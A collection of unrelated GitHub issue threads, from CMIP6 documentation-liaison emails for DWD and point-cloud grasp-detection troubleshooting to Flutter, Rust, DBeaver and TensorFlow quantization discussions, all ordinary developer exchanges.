institution_id registration of DWD

institution_id = DWD
institution = Deutscher Wetterdienst, Offenbach am Main 63067, Germany

Dear Christian
My name is David Hassell and I am part of the ES-DOC (https://es-doc.org/) team that is working on CMIP6 documentation. As a part of this process, we are looking for a liaison at DWD who can act as the interface between the many scientists who actually provide the documentation and the ES-DOC team.
The documentation process has changed considerably since CMIP5 in response to the feedback that we received. Our aim is to train the ES-DOC liaison who can then work with people at DWD to facilitate the production of documentation for the whole CMIP6 process. No specialist knowledge of ES-DOC or climate modelling is required, but neither would it be a problem, of course. Some institutes have appointed a member of the modelling team, others not.
The model documentation phase will be starting soon, and having a liaison in place should make the process run more smoothly.
I would be very grateful if you could let me know by e-mail (david.hassell at ncas.ac.uk) if you have any suggestions
All the best,
David Hassell and Eric Guilyardi
On behalf of the ES-DOC team
National Centre for Atmospheric Science
Department of Meteorology, University of Reading

Der David,
we will use the same model as the MPI in Hamburg. Do you still need a contact person from our Institution? If so, please let me know and I will discuss it with the people involved in CMIP6 here at DWD.
Can you please give me some more information on what kind of information/contribution you need for the documentation process?
Best wishes,
Christian
Von: David Hassell<EMAIL_ADDRESS>Gesendet: Sonntag, 25. Februar 2018 17:54
An: WCRP-CMIP/CMIP6_CVs
Cc: csteger; Mention
Betreff: Re: [WCRP-CMIP/CMIP6_CVs] institution_id registration of DWD (#446)
Dear Christian
My name is David Hassell and I am part of the ES-DOC (https://es-doc.org/) team that is working on CMIP6 documentation. As a part of this process, we are looking for a liaison at DWD who can act as the interface between the many scientists who actually provide the documentation and the ES-DOC team.
The documentation process has changed considerably since CMIP5 in response to the feedback that we received. Our aim is to train the ES-DOC liaison who can then work with people at DWD to facilitate the production of documentation for the whole CMIP6 process. No specialist knowledge of ES-DOC or climate modelling is required, but neither would it be a problem, of course. Some institutes have appointed a member of the modelling team, others not.
The model documentation phase will be starting soon, and having a liaison in place should make the process run more smoothly.
I would be very grateful if you could let me know by e-mail (david.hassell at ncas.ac.uk) if you have any suggestions
All the best,
David Hassell and Eric Guilyardi
On behalf of the ES-DOC team
National Centre for Atmospheric Science
Department of Meteorology, University of Reading
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368324848, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AZJ_NUOmqG_mRmgIbTEHVTKilC0twWdbks5tYZAhgaJpZM4RR0Ac.

Dear Christian,
Thank you for getting back to me so quickly.
Is it the case that you will be producing your own integrations of the MPI
model? If so, then some aspects of the simulations that you carry out, and
the machine that were run on, will need documenting by the
HAMMOZ-Consortium. With regards the model documentation, you either have to
do nothing, or a genuinely minimal amount of work resulting from us at
ES-DOC copy the MPI model documentation to HAMMOZ-Consortium part of the
documentation archive. When I have confirmed which is the case, I shall let
you know.
I would say that the most time consuming part of the process is describing
the models is largest part of the process, which I think will not apply to
you. I Don't want to commit to any numbers (because nobody has done it
yet!), but I don't expect describing the conformances (section 4 in
https://es-doc.org/cmip6-liaison-checklist) to be too onerous, because we
are developing a system that removes any duplication on your part.
If my initial assumption is incorrect then please let me know.
All the best,
David
On 26 February 2018 at 06:44, csteger<EMAIL_ADDRESS>wrote:

Der David,
we will use the same model as the MPI in Hamburg. Do you still need a
contact person from our Institution? If so, please let me know and I will
discuss it with the people involved in CMIP6 here at DWD.
Can you please give me some more information on what kind of
information/contribution you need for the documentation process?
Best wishes,
Christian
Von: David Hassell<EMAIL_ADDRESS>Gesendet: Sonntag, 25. Februar 2018 17:54
An: WCRP-CMIP/CMIP6_CVs
Cc: csteger; Mention
Betreff: Re: [WCRP-CMIP/CMIP6_CVs] institution_id registration of DWD
(#446)
Dear Christian
My name is David Hassell and I am part of the ES-DOC (
https://es-doc.org/) team that is working on CMIP6 documentation. As a
part of this process, we are looking for a liaison at DWD who can act as
the interface between the many scientists who actually provide the
documentation and the ES-DOC team.
The documentation process has changed considerably since CMIP5 in
response to the feedback that we received. Our aim is to train the ES-DOC
liaison who can then work with people at DWD to facilitate the production
of documentation for the whole CMIP6 process. No specialist knowledge of
ES-DOC or climate modelling is required, but neither would it be a problem,
of course. Some institutes have appointed a member of the modelling team,
others not.
The model documentation phase will be starting soon, and having a liaison
in place should make the process run more smoothly.
I would be very grateful if you could let me know by e-mail (david.hassell
at ncas.ac.uk) if you have any suggestions
All the best,
David Hassell and Eric Guilyardi
On behalf of the ES-DOC team
National Centre for Atmospheric Science
Department of Meteorology, University of Reading
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub<https://github.com/
WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368324848>, or mute the
thread<https://github.com/notifications/unsubscribe-auth/AZJ_NUOmqG_
mRmgIbTEHVTKilC0twWdbks5tYZAhgaJpZM4RR0Ac>.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368405517,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHwAcA4oUC1ChoS2r4-1X9099xyEAgePks5tYlLigaJpZM4RR0Ac
.

--
David Hassell
National Centre for Atmospheric Science
Department of Meteorology, University of Reading,
Earley Gate, PO Box 243, Reading RG6 6BB
Tel: +44<PHONE_NUMBER>
http://www.met.reading.ac.uk/

Hi David,
yes you are right. We will use the MPI model and produce some additional runs. You can use me as contact point. I will either provide the information by myself or forward the requests to the relevant people. When should these information be provided (start of simulation, end of simulation, time or publication, on request)?
Best wishes,
Christian
Von: David Hassell<EMAIL_ADDRESS>Gesendet: Montag, 26. Februar 2018 15:30
An: WCRP-CMIP/CMIP6_CVs
Cc: csteger; Mention
Betreff: Re: [WCRP-CMIP/CMIP6_CVs] institution_id registration of DWD (#446)
Dear Christian,
Thank you for getting back to me so quickly.
Is it the case that you will be producing your own integrations of the MPI
model? If so, then some aspects of the simulations that you carry out, and
the machine that were run on, will need documenting by the
HAMMOZ-Consortium. With regards the model documentation, you either have to
do nothing, or a genuinely minimal amount of work resulting from us at
ES-DOC copy the MPI model documentation to HAMMOZ-Consortium part of the
documentation archive. When I have confirmed which is the case, I shall let
you know.
I would say that the most time consuming part of the process is describing
the models is largest part of the process, which I think will not apply to
you. I Don't want to commit to any numbers (because nobody has done it
yet!), but I don't expect describing the conformances (section 4 in
https://es-doc.org/cmip6-liaison-checklist) to be too onerous, because we
are developing a system that removes any duplication on your part.
If my initial assumption is incorrect then please let me know.
All the best,
David
On 26 February 2018 at 06:44, csteger <notifications<EMAIL_ADDRESS>wrote:

Der David,
we will use the same model as the MPI in Hamburg. Do you still need a
contact person from our Institution? If so, please let me know and I will
discuss it with the people involved in CMIP6 here at DWD.
Can you please give me some more information on what kind of
information/contribution you need for the documentation process?
Best wishes,
Christian
Von: David Hassell<EMAIL_ADDRESS>Gesendet: Sonntag, 25. Februar 2018 17:54
An: WCRP-CMIP/CMIP6_CVs
Cc: csteger; Mention
Betreff: Re: [WCRP-CMIP/CMIP6_CVs] institution_id registration of DWD
(#446)
Dear Christian
My name is David Hassell and I am part of the ES-DOC (
https://es-doc.org/) team that is working on CMIP6 documentation. As a
part of this process, we are looking for a liaison at DWD who can act as
the interface between the many scientists who actually provide the
documentation and the ES-DOC team.
The documentation process has changed considerably since CMIP5 in
response to the feedback that we received. Our aim is to train the ES-DOC
liaison who can then work with people at DWD to facilitate the production
of documentation for the whole CMIP6 process. No specialist knowledge of
ES-DOC or climate modelling is required, but neither would it be a problem,
of course. Some institutes have appointed a member of the modelling team,
others not.
The model documentation phase will be starting soon, and having a liaison
in place should make the process run more smoothly.
I would be very grateful if you could let me know by e-mail (david.hassell
at ncas.ac.uk) if you have any suggestions
All the best,
David Hassell and Eric Guilyardi
On behalf of the ES-DOC team
National Centre for Atmospheric Science
Department of Meteorology, University of Reading
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub<https://github.com/
https://github.com/> WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368324848>, or mute the
thread<https://github.com/notifications/unsubscribe-auth/AZJ_NUOmqG_
https://github.com/notifications/unsubscribe-auth/AZJ_NUOmqG_> mRmgIbTEHVTKilC0twWdbks5tYZAhgaJpZM4RR0Ac>.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368405517,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHwAcA4oUC1ChoS2r4-1X9099xyEAgePks5tYlLigaJpZM4RR0Ac
.

--
David Hassell
National Centre for Atmospheric Science
Department of Meteorology, University of Reading,
Earley Gate, PO Box 243, Reading RG6 6BB
Tel: +44<PHONE_NUMBER>
http://www.met.reading.ac.uk/
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368520965, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AZJ_NdDk_aPoipO1u52Pk3Dws7f0Ev8Aks5tYsADgaJpZM4RR0Ac.

Hi Christian,
This is good news - thank you very much for being the ES-DOC liaison at DWD.
We're still working out the time lines, but the information can be provided
as soon as it is known and ES-DOC is ready to receive it, and any time
after that. The aim is to create a documentation archive early on, rather
than be providing documentation in small quantities for over an open ended
period.
We'll let you know as soon as we have a clearer idea of the time scales
involved, but there certainly be nothing to do for the next month or two at
the least.
Would it be possible to send me an e-mail (address in my original post
above) so that I can add you e-mail address to our list?
We look forward to working with you, all the best,
David
On 26 February 2018 at 15:02, csteger<EMAIL_ADDRESS>wrote:

Hi David,
yes you are right. We will use the MPI model and produce some additional
runs. You can use me as contact point. I will either provide the
information by myself or forward the requests to the relevant people. When
should these information be provided (start of simulation, end of
simulation, time or publication, on request)?
Best wishes,
Christian
Von: David Hassell<EMAIL_ADDRESS>Gesendet: Montag, 26. Februar 2018 15:30
An: WCRP-CMIP/CMIP6_CVs
Cc: csteger; Mention
Betreff: Re: [WCRP-CMIP/CMIP6_CVs] institution_id registration of DWD
(#446)
Dear Christian,
Thank you for getting back to me so quickly.
Is it the case that you will be producing your own integrations of the MPI
model? If so, then some aspects of the simulations that you carry out, and
the machine that were run on, will need documenting by the
HAMMOZ-Consortium. With regards the model documentation, you either have
to
do nothing, or a genuinely minimal amount of work resulting from us at
ES-DOC copy the MPI model documentation to HAMMOZ-Consortium part of the
documentation archive. When I have confirmed which is the case, I shall
let
you know.
I would say that the most time consuming part of the process is describing
the models is largest part of the process, which I think will not apply to
you. I Don't want to commit to any numbers (because nobody has done it
yet!), but I don't expect describing the conformances (section 4 in
https://es-doc.org/cmip6-liaison-checklist) to be too onerous, because we
are developing a system that removes any duplication on your part.
If my initial assumption is incorrect then please let me know.
All the best,
David
On 26 February 2018 at 06:44, csteger<EMAIL_ADDRESS><EMAIL_ADDRESS>wrote:

Der David,
we will use the same model as the MPI in Hamburg. Do you still need a
contact person from our Institution? If so, please let me know and I
will
discuss it with the people involved in CMIP6 here at DWD.
Can you please give me some more information on what kind of
information/contribution you need for the documentation process?
Best wishes,
Christian
Von: David Hassell<EMAIL_ADDRESS>Gesendet: Sonntag, 25. Februar 2018 17:54
An: WCRP-CMIP/CMIP6_CVs
Cc: csteger; Mention
Betreff: Re: [WCRP-CMIP/CMIP6_CVs] institution_id registration of DWD
(#446)
Dear Christian
My name is David Hassell and I am part of the ES-DOC (
https://es-doc.org/) team that is working on CMIP6 documentation. As a
part of this process, we are looking for a liaison at DWD who can act as
the interface between the many scientists who actually provide the
documentation and the ES-DOC team.
The documentation process has changed considerably since CMIP5 in
response to the feedback that we received. Our aim is to train the
ES-DOC
liaison who can then work with people at DWD to facilitate the
production
of documentation for the whole CMIP6 process. No specialist knowledge
of
ES-DOC or climate modelling is required, but neither would it be a
problem,
of course. Some institutes have appointed a member of the modelling
team,
others not.
The model documentation phase will be starting soon, and having a
liaison
in place should make the process run more smoothly.
I would be very grateful if you could let me know by e-mail
(david.hassell
at ncas.ac.uk) if you have any suggestions
All the best,
David Hassell and Eric Guilyardi
On behalf of the ES-DOC team
National Centre for Atmospheric Science
Department of Meteorology, University of Reading
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub<https://github.com/
https://github.com/> WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368324848>,
or mute the
thread<https://github.com/notifications/unsubscribe-auth/AZJ_NUOmqG_
https://github.com/notifications/unsubscribe-auth/AZJ_NUOmqG_>
mRmgIbTEHVTKilC0twWdbks5tYZAhgaJpZM4RR0Ac>.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<https://github.com/WCRP-CMIP/CMIP6_CVs/issues/446#
issuecomment-368405517>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AHwAcA4oUC1ChoS2r4-
1X9099xyEAgePks5tYlLigaJpZM4RR0Ac>
.

--
David Hassell
National Centre for Atmospheric Science
Department of Meteorology, University of Reading,
Earley Gate, PO Box 243, Reading RG6 6BB
Tel: +44<PHONE_NUMBER> <+44%20118%20378%205613>
http://www.met.reading.ac.uk/
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub<https://github.com/
WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368520965>, or mute the
thread<https://github.com/notifications/unsubscribe-auth/AZJ_NdDk_
aPoipO1u52Pk3Dws7f0Ev8Aks5tYsADgaJpZM4RR0Ac>.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/WCRP-CMIP/CMIP6_CVs/issues/446#issuecomment-368531344,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHwAcBO8XgSJzhGaKlCAf0-wMbN7NaL8ks5tYsdsgaJpZM4RR0Ac
.

--
David Hassell
National Centre for Atmospheric Science
Department of Meteorology, University of Reading,
Earley Gate, PO Box 243, Reading RG6 6BB
Tel: +44<PHONE_NUMBER>
http://www.met.reading.ac.uk/


Generated 0 grasp candidates

I changed multiple parameters and tested it, but I am getting zero grasps. could someone help me with that ? thank you!
This is what I get after running
finger_width: 0.01
hand_outer_diameter: 0.12
hand_depth: 0.06
hand_height: 0.02
init_bite: 0.01
CFG: Not a valid b received!
voxelize: 1
remove_outliers: 0
workspace: -1.0 1.0 -1.0 1.0 -1.0 1.0
camera_pose: 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1
num_samples: 5
num_threads: 4
nn_radius: 0.001
num_orientations: 1
rotation_axis: 2
plot_grasps: 1
plot_normals: 1
Loaded point cloud with 1319524 points
3
Processing cloud with: 1319524 points.
After workspace filtering: 0 points left.
[pcl::KdTreeFLANN::setInputCloud] Cannot create a KDTree with an empty input cloud!
Estimating local reference frames ...
Error: No samples or no indices!
Generated 0 grasp candidate sets.
Generated 0 grasp candidates.
Do I need mesh to get grasps ?
This is what I get after pressing r

From the output, it looks like the workspace filter removes all points (which should not be happening). Could you upload the pcd file?

Sorry for closing it, I pressed it by mistake.
Please find the attachment
Schokolade.pcd.zip

Have you tried to change the workspace as I suggested above? In cfg/params.cfg, set workspace = -10.0 10.0 -10.0 10.0 -10.0 10.0.

Yes, this is the result I got, still no grasps. I will try to increase voxelize and try it again.
finger_width: 0.01
hand_outer_diameter: 0.12
hand_depth: 0.06
hand_height: 0.02
init_bite: 0.01
CFG: Not a valid b received!
voxelize: 1
remove_outliers: 0
workspace: -10.0 10.0 -10.0 10.0 -10.0 10.0
camera_pose: 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1
num_samples: 5
num_threads: 4
nn_radius: 0.001
num_orientations: 1
rotation_axis: 2
plot_grasps: 1
plot_normals: 1
Loaded point cloud with 1319524 points
3
Processing cloud with: 1319524 points.
After workspace filtering: 1319524 points left.
After voxelization: 1305987 points left.
Subsampled 5 at random uniformly.
Calculating surface normals ...
camera: 0, #indices: 1305987, #normals: 1305987
runtime (normals): 35.6881
Reversing direction of normals that do not point to at least one camera ...
reversed 0 normals
runtime (reverse normals): 0.0104546
Drawing 1305987 normals
Estimating local reference frames ...
Estimated 5 local reference frames in 0.0001489 sec.
Finding hand poses ...
Found 0 grasp candidate sets in 0.0492453 sec.
====> HAND SEARCH TIME: 0.411898
Generated 0 grasp candidate sets.
Generated 0 grasp candidates.
Thank you

Set num_samples = 500.

Thank you. It is generating the grasp candidates but the width of the not enough to grasp.

I would like to how to change the work space ?
How can I change the values (reason for changing ) ?
Thank you.

Your object seems to be quite large in size. Perhaps you should decrease its size.
hand_outer_diameter is the parameter to set the width.

Thank you so much for your help!


Simple Hand Gesture Recognition

Hi all
Does anyone use this framework of mediapipe to implement a simple gesture recognition? Can it be done based on the whole library provided or other data sets are required for training?
Thanks in advance.

It depends on your task, if the gesture is static, like one is an open hand and other is a fist, then I think it is quite doable based on 21 x, y, z coordinate, but you still need to collect some examples of this gestures)
If gestures are dynamic I guess there is much more work need to be done here

I'm looking into doing the same as in here:
https://ai.googleblog.com/2019/08/on-device-real-time-hand-tracking-with.html
Where they are able to detect quite some gestures. I initially thought this was part of the library but it doesn't look like. Am I wrong?

@schumy The gesture is just simple heuristics and we did not release as part of open source.
@loompa is correct that dynamic gestures is significantly harder to do than static gestures

I have written this
Tutorial: Simple Hand Gesture Recognition.
You can recognize ONE, TWO, TREE, FOUR, FIVE, SIX, YEAH, ROCK, SPIDERMAN and OK like on this blog : On-Device, Real-Time Hand Tracking with MediaPipe. The recognitions are only printed in the console.
Thank you for this framework.

Hey guys, I modify the TensorFlow demo app, so it can run the palm model and hand landmark model.
please go https://github.com/laisuki1109/handtracking-with-Mediapipe to explore more !
With Java
you can set custom hand pose by xy coordinate
Thank you!

Hello guys. I've like to wrap this into an windows app ".exe". Is this posible? and how could i change the video source to a local video file or a remote web cam? Can u please help me with this? Thanks a lot!

@smokingmonkey I created this, https://github.com/atharvakale31/Custom_Gesture_Control


chore: enable lock file for npm audit

The fact of having a Kafka running on CI was not a requirement at all for this example.
The reasons I did that:

To explore the Kafka 'zookeeper-less' mode
To feel comfortable when sending pull requests during that learning phase
To have a public shareable place to show that the code works not only on my local machine

But now having it not working (for an unknown reason) I vote for removing that from CI


Fix warnings regarding non-existent package

Update minimum Castle Core version to 4.1.0 to fix package restore
warnings that turn into errors (resulting in build failure) because the
version of System.ComponentModel.TypeConverter referenced by Castle
Core does not exist.
Fixes #321

This change fixes the failed compilation, however introduces some failing unit tests because the assembly version of the Castle Core assemblies is no longer <IP_ADDRESS>. We need to get https://github.com/castleproject/Core/issues/288 fixed and released, and bump the minimum version again otherwise consumers of Windsor will run into these errors on .NET Framework, we don't want users to have to deal with binding redirects.

Castle.MicroKernel.SubSystems.Conversion.ConverterException : Could not convert string 'Castle.Services.Logging.Log4netIntegration.ExtendedLog4netFactory,Castle.Services.Logging.Log4netIntegration,Version=<IP_ADDRESS>, Culture=neutral,PublicKeyToken=407dd0808d44fbdc' to a type.
----> System.IO.FileLoadException : Could not load file or assembly 'Castle.Services.Logging.Log4netIntegration, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=407dd0808d44fbdc' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)


Display errors in the result tab

Description
When there is a bug in a query, it's now difficult to find an error in the result tab: it is hidden behind the query view. Users cannot find it. See details: https://github.com/dbeaver/dbeaver/issues/21013

We need to display the view with an error instead of it.

DBeaver Version
23.1.5
Operating System
No response
Database and driver
No response
Steps to reproduce

Execute any query with a bug
See the result

Additional context
No response

It becomes hidden if you press this arrow.

Currently we preserve the state, we decided that the state of this view should reset to the initial state like on my picture.


Changes to Activity design

Some recent issues have brought up some concerns with the current structure of the Activity struct and the way it works. I'm currently working on re-designing these interfaces to address these issues and hopefully be overall easier to use. These changes are heavily breaking and would/will accompany a future major version update.
Changes

Note
Activity and ActivityBuilder refer to all models provided by the library (i.e. Timestamps and TimestampsBuilder)

My current idea is to separate the current usage flow into distinct Activity and ActivityBuilder structs, implementing a consuming builder design pattern. My working design for this would look something like this in practice:
// A default `ActivityBuilder` supports chaining similar to that of the current `Activity` struct
let mut activity = activity::ActivityBuilder::default()
    .state("State")
    .details("Details")
    .assets(
        activity::AssetsBuilder::default()
            .large_image("large-image")
            .large_text("Large text")
            .build(),
    )
    .buttons(vec![activity::Button::new(
        "A button",
        "https://example.com",
    )])
    .timestamps(activity::TimestampsBuilder::default().start(1).build())
    .build();

// Individual fields on a built model can now be updated like so
activity.set_party(
    activity::PartyBuilder::default()
        .id("some-id")
        .size([1, 3])
        .build(),
);

This showcases several things:

The ActivityBuilder structs support chaining similar to that of the current design

The setters are consumptive, so all calls to them leading up to .build() must be chained (or a new reference has to be created for each setter called)

The Activity structs now have set_* methods which take an &mut self. This makes it much easier to update individual model values after the model has been built (#19)

Unrelated to the updates to chaining and construction, none of the library's models require lifetimes anymore, and accept anything that satisfies impl ToString where an &str was previously required - which was the reason the lifetimes were previously in place (also #19).
Discussion
I'm raising this issue to get feedback about the design as I've presented it, and if there are improvements to be had.
My main concern is the added boilerplate. I don't think it's a big issue for the large ActivityBuilder, since that's already a pretty long chain in practice, but as seen in the example code above, it definitely uglifies lines such as
    .timestamps(activity::TimestampsBuilder::default().start(1).build())

Is this beyond the acceptable amount of boilerplate, are there alternative solutions? One idea I scrapped was adding simple ::new functions for models like Timestamps instead of implementing a builder - the issue here is that this would then require arguments to be passed in an Option-friendly form, which still adds boilerplate.

This was a lot of words, so I thank any who read them all, and I'd appreciate feedback/discussion :)

About the builder patern, check derive_builder if you're not using it yet
About boilerplate, would a impl of From<Option<i64>, Option<i64>) be usefull? That would create lines like
 .timestamps(activity::Timestamps::from((Some(1), None))

wich imo is not that bad

Late again 😅

Do you think this would be a good thing to implement alongside the verbose option (like how I constructed the Timestamps in the original issue)? That way, both options are available.

Yes! That would be preferable imo.

This is a good idea! I've been using this crate in my project for a while and I have been struggling with exactly this problem of ownership when trying to build an activity.
My current code for getting around this issue is very messy so having this fixed would be awesome!

i'll plan to implement this pattern for every method :) (except for where it makes no sense to do so)


Problem with MaterialApp using ExpandablePanel(List) also included Scaffolds used by MaterialApp

Steps to Reproduce

Execute flutter run on the code sample
...
...

Expected results:
It seems to work but exceptions raised. The original code, which is MUCH larger, has issues with widget content display update.
Actual results:

code sample
  @override
  Widget build(BuildContext context)
  {
    bool toCauseError = true;
    // This method is rerun every time setState is called, for instance as done
    // by the _incrementCounter method above.
    //
    // The Flutter framework has been optimized to make rerunning build methods
    // fast, so that you can just rebuild anything that needs updating rather
    // than having to individually change instances of widgets.
    if(!toCauseError)
      return Scaffold(
        appBar: AppBar(
          // Here we take the value from the MyHomePage object that was created by
          // the App.build method, and use it to set our appbar title.
          title: Text(widget.title),
        ),
        body: Center(
          // Center is a layout widget. It takes a single child and positions it
          // in the middle of the parent.
          child: Column(
            mainAxisAlignment: MainAxisAlignment.center,
            children: <Widget>[
              getExpandablePanel(),
            ],
          ),
        ),
      );
    return MaterialApp(
      title: 'Flutter Demo',
      theme: ThemeData(
        // This is the theme of your application.
        //
        // Try running your application with "flutter run". You'll see the
        // application has a blue toolbar. Then, without quitting the app, try
        // changing the primarySwatch below to Colors.green and then invoke
        // "hot reload" (press "r" in the console where you ran "flutter run",
        // or simply save your changes to "hot reload" in a Flutter IDE).
        // Notice that the counter didn't reset back to zero; the application
        // is not restarted.
        primarySwatch: Colors.lightGreen,
      ),
      home: getExpandablePanel(),//(title: "Menutizr"), 6), //const MyHomePage(title: 'MENUtizr'),
    );
    }

  ExpansionPanel getVolumeToWeightWarning(int numVolumeItem, int index1)
  {
    ExpansionPanel ret;
    final int indexBool = index1;

      ret = ExpansionPanel(
        canTapOnHeader: true,
        backgroundColor: Colors.white,//MenuTizrGlobalStorage.whiteTransparent,
        headerBuilder: (BuildContext context, bool isExpanded) {
          return ListTile(
            title: Text('Volume to Weight conversions.'),
          );
        },
        body: ListTile(
          //  title: Text('Item 1 child'),
          subtitle: Text(
            "Weights shown are calculated from the specified volume and the ingredient\'s density. \nThis density can vary dependant on processing. Also if you rely on the default density, it could be inaccurate. As such the calculated weight should be considered an approximate value only.",
          ),//showCircularText(buff.toString()),
        ),
        isExpanded: isExp[indexBool],
      );
//      CircularTextView veggieText = view.findViewById(R.id.veggie);
    return ret;
  }
  ExpansionPanelList getExpandablePanel()
  {
    int index=0;
    ExpansionPanelList?ret=null;

    ExpansionPanel volumeToWeight = getVolumeToWeightWarning(2, index);

      ret = ExpansionPanelList(
        dividerColor: Colors.grey,
        elevation: 1,
        expansionCallback: (int index, bool isExpanded) {
          setState(() {
            isExp[index] = !isExpanded;
//            print("INDEX : $index ... $isExp");
          });
        },
        children: [
            volumeToWeight,
        ],
      );//      CircularTextView veganText = view.findViewById(R.id.vegan);
//      CircularTextView veggieText = view.findViewById(R.id.veggie);
    return ret;
  }

Hi @simondhearn, your issue lacks a description of the problems you are facing.
Kindly provide a detailed explanation of what you're trying to achieve and the challenges you are facing.
Please also provide the output of flutter doctor -v as well as a minimal complete reproducible code sample and any other logs that capture the issue you're facing
Thank you

main.zip
flutter_doctor.txt
flutter_doctor_that_causes_exception.txt
Hi,
Please bare with me, this is the first issue I have reported and not fully sure how to do it.
What am I trying to achieve, simply put I have a sizable flutter app, and have managed to achieve the same exception in this short example. I  simply wish to use ExpandablePanel in my application, when I go to the screen which has an expandablepanel, I get exception raised.
ALL SCREENS raise these exception, one screen, is in a state widget, and the expandablepanel contains checkboxes, if I click on a checkbox, another exception is raised, the check doesn't show unless I go to a TextFormField on same screen and it then updates.
To reproduce  create a new project "flutter create app-name" then replace the main.dart with the one supplied here.
To trigger the exception, set variable 'toCauseError' to 2,.
If CauseError is 0, the ExpandablePanel is shown successfully in a Scaffold.
If CauseError is 1, a Text widget is show successfully in a MaterialApp
If CauseError is 2, the ExpandablePanel causes an exception in a MaterialApp.
I'm enclosing the main.dart and the flutter doctor -v

As requested here is the output of flutter run -
run_error.txt
v

Hi @simondhearn, you only ever need one MaterialApp/CupertinoApp/WidgetsApp in your application.
There might be a use case where you need to have more than 1, but I haven't encountered it yet.
In your case, since you just want to show an expandable panel it is certainly not needed.
See the code sample in https://api.flutter.dev/flutter/material/ExpansionPanelList-class.html for an official example on how to create an ExpansionPanelList.
I'll be closing this as an implementation issue.
Thank you


[DR-3393] Upgrade Spring 2.7.4 -> 3.1.6, TCL 0.0.75 -> 0.1.7

Needed to recreate this PR off of a new FB with no slashes in the name:
https://github.com/DataBiosphere/terra-drs-hub/pull/97
I want to push this branch to my Bee, but slashes in the name don't work with image publishing: https://github.com/DataBiosphere/terra-drs-hub/actions/runs/7184743682/job/19566525540


Implement the Q1 2021 small features release in AngularDart

This tracks any implementation work in the angular compiler to support this feature set.
cc @matanlurey @franklinyow

Thanks for the heads up Leaf. I filed internal issue b/180125796.
I am going to close this external issue as I don't see anything else worth tracking in the OSS space.

@matanlurey I'm going to leave this open as a marker for us to validate that the internal work has been completed prior to release.  Thanks!


How to full int 8 quantize a yamnet model?

Click to expand!
Issue Type
Bug
Source
source
Tensorflow Version
2.8
Custom Code
Yes
OS Platform and Distribution
Linux, Mac
Mobile device
Linux Ubuntu, Mac m1, Mac intel
Python version
3.7, 3.10, 3.6
Bazel version
No response
GCC/Compiler version
No response
CUDA/cuDNN version
No response
GPU model and memory
No response
Current Behaviour?
How to full int 8 QAT quantisation

Standalone code to reproduce the issue
import tensorflow_model_optimization as tfmot

LastValueQuantizer = tfmot.quantization.keras.quantizers.LastValueQuantizer
MovingAverageQuantizer = tfmot.quantization.keras.quantizers.MovingAverageQuantizer

class DefaultDenseQuantizeConfig(tfmot.quantization.keras.QuantizeConfig):
    # List all of your weights
    weights = {
        "kernel": LastValueQuantizer(num_bits=8, symmetric=True, narrow_range=False, per_axis=False)
    }

    # List of all your activations
    activations = {
        "activation": MovingAverageQuantizer(num_bits=8, symmetric=False, narrow_range=False, per_axis=False)
    }

    # Configure how to quantize weights.
    def get_weights_and_quantizers(self, layer):
        output = []
        for attribute, quantizer in self.weights.items():
            if hasattr(layer, attribute):
                output.append((getattr(layer, attribute), quantizer))

        return output

    # Configure how to quantize activations.
    def get_activations_and_quantizers(self, layer):
        output = []
        for attribute, quantizer in self.activations.items():
            if hasattr(layer, attribute):
                output.append((getattr(layer, attribute), quantizer))

        return output

    def set_quantize_weights(self, layer, quantize_weights):
        # Add this line for each item returned in `get_weights_and_quantizers`
        # , in the same order

        count = 0
        for attribute in self.weights.keys():
            if hasattr(layer, attribute):
                setattr(layer, attribute, quantize_weights[count])
                count += 1

    def set_quantize_activations(self, layer, quantize_activations):
        # Add this line for each item returned in `get_activations_and_quantizers`
        # , in the same order.
        count = 0
        for attribute in self.activations.keys():
            if hasattr(layer, attribute):
                setattr(layer, attribute, quantize_activations[count])
                count += 1

    # Configure how to quantize outputs (may be equivalent to activations).
    def get_output_quantizers(self, layer):
        return []

    def get_config(self):
        return {}

from quant import DefaultDenseQuantizeConfig
from tensorflow_model_optimization.python.core.quantization.keras.quantize import quantize_scope, quantize_apply
import tensorflow_model_optimization as tfmot

with quantize_scope({
    "DefaultDenseQuantizeConfig": DefaultDenseQuantizeConfig,
    "CustomLayer": CustomLayer
}):
    def apply_quantization_to_layer(layer):
        return tfmot.quantization.keras.quantize_annotate_layer(layer, DefaultDenseQuantizeConfig())

    annotated_model = tf.keras.models.clone_model(
        tflite_model,
        clone_function=apply_quantization_to_layer,
    )

    qat_model = tfmot.quantization.keras.quantize_apply(annotated_model)

    qat_model.compile(
        optimizer=tf.keras.optimizers.Adam(learning_rate=0.0001),
        loss="categorical_crossentropy",
        metrics=['accuracy']
    )

    qat_model.summary()

Relevant log output
When I test the tflite model it predicts completely randomly

I have left an issue here for days now:
https://github.com/tensorflow/model-optimization/issues/974
There is not info online about full int 8 quantisation for yamnet

Hi @MATTYGILO ! Sorry for the late response. Could you just share the TFlite conversion part of yamnet model as Colab gist. Thank you!

@mohantym This is my gist

